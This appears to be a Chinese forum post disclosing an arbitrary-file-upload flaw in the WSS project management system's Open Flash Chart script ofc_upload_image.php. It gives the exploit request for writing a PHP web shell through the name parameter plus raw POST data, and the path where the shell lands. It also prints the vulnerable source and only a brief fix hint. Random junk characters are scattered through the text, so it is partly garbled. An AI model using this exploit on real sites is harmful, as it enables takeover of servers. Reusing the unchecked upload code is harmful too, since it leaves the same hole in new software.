WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
% e( j* V6 J7 |# g* H8 |2 [ 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

9 b1 g: o5 M: k* ]利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
9 g# b$ W: ^+ a. ~' s& O2 S
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
1 M/ m' d2 O. V2 w5 A7 @) G
8 o$ A: ~  n, a( y//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
$ s9 F1 w7 c' n8 c+ s$ S
/*
% j8 V2 d: ^7 x' ~
print_r( $_GET );
. j# y  B  N' ^4 l- bprint_r( $_POST );
print_r( $_FILES );

0 J& f, _) Z# m0 h5 f0 M: _  dprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
' t3 T+ C; G0 E+ b! ^
9 J6 A; x, c4 d5 ^- r- \% R*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
) q  C4 G3 a- O  Y! m* p% ~
6 n' R  a( X' X, e8 S5 v# Q// full path to the saved image including filename //
: P- U* {% y$ s7 H; b$ Y, A) U$destination = $default_path . basename( $_GET[ 'name' ] );
. x6 G9 X& X: f6 g  g6 G, C  u
2 h1 l  c3 i3 \* V0 t  wecho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
* h3 w0 q+ S3 M' [8 O; O; A
" c# ]' Y  F7 M4 v# n- r8 Q//
// POST data is usually string data, but we are passing a RAW .png
/ ]$ X& }2 e- v! \1 s: T3 _// so PHP is a bit confused and $_POST is empty. But it has saved
- u4 L# I  ]& j0 |9 ~: i* m+ y// the raw bits into $HTTP_RAW_POST_DATA
//

, A4 ~: W0 c8 a, b  u& u$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
6 I9 K8 J5 t; ~" L5 [  H
" T, A9 Z  ^* w8 g% z/ ~//
/ E5 c4 c; ^. n// LOOK:
//
exit();
//
// PHP5:
" {; x/ _; h+ V- H( [, {) z//


5 A7 {6 A3 s9 P+ |, @  t// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
  E, K* b! q4 H# C3 e$ O1 |0 @- @1 Z
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
9 W- V0 t" `5 X: _: `9 L* q$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
0 z# [8 C: Z; G7 x" z( ?% t; F    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
$ ?7 D, b* u5 N  j, a- M} else {
    echo "FILE UPLOAD FAILED";
. Y) r8 m" s( x; @" s, ~5 Q( T}
  `: t- B. O! [9 T7 b5 f
5 r6 o" _* N- C  k" o8 f  d+ _0 h. W& u
?>

0 ]7 V, E% N% b4 o; l6 M( H



! P4 l0 g) C; X* b+ r
; i' [" J( m. S6 T1 t5 j% ?: ]+ l修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
" V- c4 V4 S+ n* E2 Q. t- J
; v8 J- @/ R  M: w

, s3 E% e4 R: o* O# u
! p& K& y1 |. _' ~* ]